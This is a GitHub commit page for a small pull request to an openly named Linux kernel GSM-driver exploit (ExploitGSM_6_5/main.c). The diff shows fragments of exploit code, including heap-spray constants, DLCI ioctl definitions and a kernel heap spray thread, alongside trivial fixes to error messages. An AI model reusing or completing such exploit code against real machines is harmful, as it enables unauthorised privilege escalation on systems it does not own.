Skip to content

Commit

Permalink
Merge pull request #13 from LianSheng197/main
Browse files Browse the repository at this point in the history
Update ExploitGSM_6_5/main.c
  • Loading branch information
YuriiCrimson authored Apr 19, 2024
2 parents e64a816 + 1196c4a commit 140d11e
Showing 1 changed file with 6 additions and 3 deletions.
9 changes: 6 additions & 3 deletions ExploitGSM_6_5/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -50,6 +50,7 @@
#define HEAP_SPRAY_SIZE 1024
#define BITS_PER_LONG 64

#ifndef GSMIOC_SETCONF_EXT
struct gsm_dlci_config {
__u32 channel; /* DLCI (0 for the associated DLCI) */
__u32 adaption; /* Convergence layer type */
Expand All @@ -62,6 +63,7 @@ struct gsm_dlci_config {

#define GSMIOC_GETCONF_DLCI _IOWR('G', 7, struct gsm_dlci_config)
#define GSMIOC_SETCONF_DLCI _IOW('G', 8, struct gsm_dlci_config)
#endif

const unsigned char CMD_CLD = 0x61;
const unsigned char CMD_TEST = 0x11;
Expand Down Expand Up @@ -517,7 +519,7 @@ int main(int argc, char *argv[]) {

if (argc < 1 || argv[1] == 0)
{
fprintf(stderr, "Input distro name to arg, example ./Exploit ubuntu|fedora");
fprintf(stderr, "Input distro name to arg, example ./Exploit ubuntu|fedora\n");
goto error_arg;
}

Expand Down Expand Up @@ -1018,14 +1020,15 @@ int main(int argc, char *argv[]) {
retval = pthread_create(&tid_spray, &tattr_alloc_dlci, thread_spray_kheap, &arg_spray);
if (retval != 0)
{
fprintf(stderr, "Error create setconf dlci thread, %s \n", strerror(retval));
fprintf(stderr, "Error create spray thread, %s \n", strerror(retval));
goto error_create_spray;
}

printf("waiting spray thread \n");
retval = pthread_join(tid_spray, NULL);
if (retval != 0)
{
fprintf(stderr, "Error thread join to spray thread %s \n", strerror(retval));
fprintf(stderr, "Error join to spray thread %s \n", strerror(retval));
goto error_spray;
}

Expand Down

0 comments on commit 140d11e

Please sign in to comment.